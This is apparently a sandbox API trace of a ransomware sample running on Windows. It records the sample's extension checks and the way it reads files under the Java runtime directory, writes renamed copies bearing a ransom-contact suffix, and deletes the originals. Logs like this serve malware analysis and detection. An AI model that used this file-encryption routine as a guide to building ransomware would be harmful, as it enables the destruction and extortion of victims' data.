	[0164.625] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1
	[0164.625] lstrlenW (lpString=".pdf") returned 4
	[0164.625] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString=".xls") returned 4
	[0164.625] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString=".xlsx") returned 5
	[0164.625] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1
	[0164.625] lstrlenW (lpString=".ppt") returned 4
	[0164.625] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString=".zip") returned 4
	[0164.625] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString=".rar") returned 4
	[0164.625] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.625] lstrlenW (lpString=".bz2") returned 4
	[0164.625] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.625] lstrlenW (lpString=".7z") returned 3
	[0164.625] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString=".dbf") returned 4
	[0164.625] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString=".1cd") returned 4
	[0164.625] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.625] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar") returned 52
	[0164.625] lstrlenW (lpString=".jpg") returned 4
	[0164.625] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.626] lstrcmpiW (lpString1=".jar", lpString2=".Z9") returned -1
	[0164.626] lstrlenW (lpString="rt.jar") returned 6
	[0164.626] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.626] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=54560347) returned 1
	[0164.626] CloseHandle (hObject=0x434) returned 1
	[0164.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar")) returned 0x20
	[0164.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.626] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString=".doc") returned 4
	[0164.627] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.627] lstrlenW (lpString=".docx") returned 5
	[0164.627] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0164.627] lstrlenW (lpString=".pdf") returned 4
	[0164.627] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString=".xls") returned 4
	[0164.627] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString=".xlsx") returned 5
	[0164.627] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0164.627] lstrlenW (lpString=".ppt") returned 4
	[0164.627] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString=".zip") returned 4
	[0164.627] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString=".rar") returned 4
	[0164.627] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString=".bz2") returned 4
	[0164.627] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.627] lstrlenW (lpString=".7z") returned 3
	[0164.627] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString=".dbf") returned 4
	[0164.627] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString=".1cd") returned 4
	[0164.627] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString=".jpg") returned 4
	[0164.627] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.627] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.628] lstrlenW (lpString=".doc") returned 4
	[0164.628] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0164.628] lstrlenW (lpString=".docx") returned 5
	[0164.628] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0164.628] lstrlenW (lpString=".pdf") returned 4
	[0164.628] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0164.628] lstrlenW (lpString=".xls") returned 4
	[0164.628] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0164.628] lstrlenW (lpString=".xlsx") returned 5
	[0164.628] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0164.628] lstrlenW (lpString=".ppt") returned 4
	[0164.628] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0164.628] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.628] lstrlenW (lpString=".zip") returned 4
	[0164.628] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0164.628] lstrlenW (lpString=".rar") returned 4
	[0164.628] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0164.628] lstrlenW (lpString=".bz2") returned 4
	[0164.628] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0164.628] lstrlenW (lpString=".7z") returned 3
	[0164.628] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0164.628] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.628] lstrlenW (lpString=".dbf") returned 4
	[0164.628] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0164.628] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.628] lstrlenW (lpString=".1cd") returned 4
	[0164.628] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0164.628] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45
	[0164.628] lstrlenW (lpString=".jpg") returned 4
	[0164.628] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0164.629] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".Z9") returned -1
	[0164.629] lstrlenW (lpString="blacklist") returned 9
	[0164.629] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.632] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=4054) returned 1
	[0164.632] CloseHandle (hObject=0x434) returned 1
	[0164.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20
	[0164.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.633] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.633] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.633] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.736] GetLastError () returned 0x0
	[0164.736] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0xfd6, lpOverlapped=0x0) returned 1
	[0164.746] WriteFile (in: hFile=0x458, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xfe0, lpOverlapped=0x0) returned 1
	[0164.748] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.748] WriteFile (in: hFile=0x458, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0164.748] SetEndOfFile (hFile=0x458) returned 1
	[0164.748] CloseHandle (hObject=0x458) returned 1
	[0164.748] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.749] SetEndOfFile (hFile=0x434) returned 1
	[0164.751] CloseHandle (hObject=0x434) returned 1
	[0164.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.752] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1
	[0164.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.752] lstrlenW (lpString=".doc") returned 4
	[0164.752] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0164.752] lstrlenW (lpString=".docx") returned 5
	[0164.752] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0164.752] lstrlenW (lpString=".pdf") returned 4
	[0164.752] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".xls") returned 4
	[0164.753] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".xlsx") returned 5
	[0164.753] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0164.753] lstrlenW (lpString=".ppt") returned 4
	[0164.753] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString=".zip") returned 4
	[0164.753] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".rar") returned 4
	[0164.753] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".bz2") returned 4
	[0164.753] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".7z") returned 3
	[0164.753] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString=".dbf") returned 4
	[0164.753] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString=".1cd") returned 4
	[0164.753] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString=".jpg") returned 4
	[0164.753] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.753] lstrlenW (lpString=".doc") returned 4
	[0164.753] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0164.753] lstrlenW (lpString=".docx") returned 5
	[0164.753] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1
	[0164.754] lstrlenW (lpString=".pdf") returned 4
	[0164.754] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString=".xls") returned 4
	[0164.754] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString=".xlsx") returned 5
	[0164.754] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1
	[0164.754] lstrlenW (lpString=".ppt") returned 4
	[0164.754] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.754] lstrlenW (lpString=".zip") returned 4
	[0164.754] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString=".rar") returned 4
	[0164.754] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString=".bz2") returned 4
	[0164.754] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0164.754] lstrlenW (lpString=".7z") returned 3
	[0164.755] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0164.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.755] lstrlenW (lpString=".dbf") returned 4
	[0164.755] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0164.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.755] lstrlenW (lpString=".1cd") returned 4
	[0164.755] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0164.755] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57
	[0164.755] lstrlenW (lpString=".jpg") returned 4
	[0164.755] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0164.755] lstrcmpiW (lpString1=".certs", lpString2=".Z9") returned -1
	[0164.755] lstrlenW (lpString="blacklisted.certs") returned 17
	[0164.755] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.756] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=1253) returned 1
	[0164.756] CloseHandle (hObject=0x434) returned 1
	[0164.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20
	[0164.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.756] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.756] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.756] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.757] GetLastError () returned 0x0
	[0164.757] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x4e5, lpOverlapped=0x0) returned 1
	[0164.796] WriteFile (in: hFile=0x458, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0164.797] ReadFile (in: hFile=0x434, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.797] WriteFile (in: hFile=0x458, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0164.797] SetEndOfFile (hFile=0x458) returned 1
	[0164.808] CloseHandle (hObject=0x458) returned 1
	[0164.808] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.809] SetEndOfFile (hFile=0x434) returned 1
	[0164.812] CloseHandle (hObject=0x434) returned 1
	[0164.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.813] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1
	[0164.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.814] lstrlenW (lpString=".doc") returned 4
	[0164.814] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".docx") returned 5
	[0164.814] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0164.814] lstrlenW (lpString=".pdf") returned 4
	[0164.814] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".xls") returned 4
	[0164.814] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".xlsx") returned 5
	[0164.814] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0164.814] lstrlenW (lpString=".ppt") returned 4
	[0164.814] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.814] lstrlenW (lpString=".zip") returned 4
	[0164.814] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".rar") returned 4
	[0164.814] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".bz2") returned 4
	[0164.814] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString=".7z") returned 3
	[0164.814] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0164.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.814] lstrlenW (lpString=".dbf") returned 4
	[0164.814] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0164.814] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.814] lstrlenW (lpString=".1cd") returned 4
	[0164.815] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.815] lstrlenW (lpString=".jpg") returned 4
	[0164.815] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.815] lstrlenW (lpString=".doc") returned 4
	[0164.815] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".docx") returned 5
	[0164.815] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0164.815] lstrlenW (lpString=".pdf") returned 4
	[0164.815] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".xls") returned 4
	[0164.815] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".xlsx") returned 5
	[0164.815] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0164.815] lstrlenW (lpString=".ppt") returned 4
	[0164.815] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.815] lstrlenW (lpString=".zip") returned 4
	[0164.815] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".rar") returned 4
	[0164.815] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".bz2") returned 4
	[0164.815] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0164.815] lstrlenW (lpString=".7z") returned 3
	[0164.815] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0164.815] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.816] lstrlenW (lpString=".dbf") returned 4
	[0164.816] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0164.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.816] lstrlenW (lpString=".1cd") returned 4
	[0164.816] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0164.816] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65
	[0164.816] lstrlenW (lpString=".jpg") returned 4
	[0164.816] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0164.817] lstrcmpiW (lpString1=".security", lpString2=".Z9") returned -1
	[0164.817] lstrlenW (lpString="java.security") returned 13
	[0164.817] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.822] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=36524) returned 1
	[0164.822] CloseHandle (hObject=0x458) returned 1
	[0164.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20
	[0164.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458
	[0164.823] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.823] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
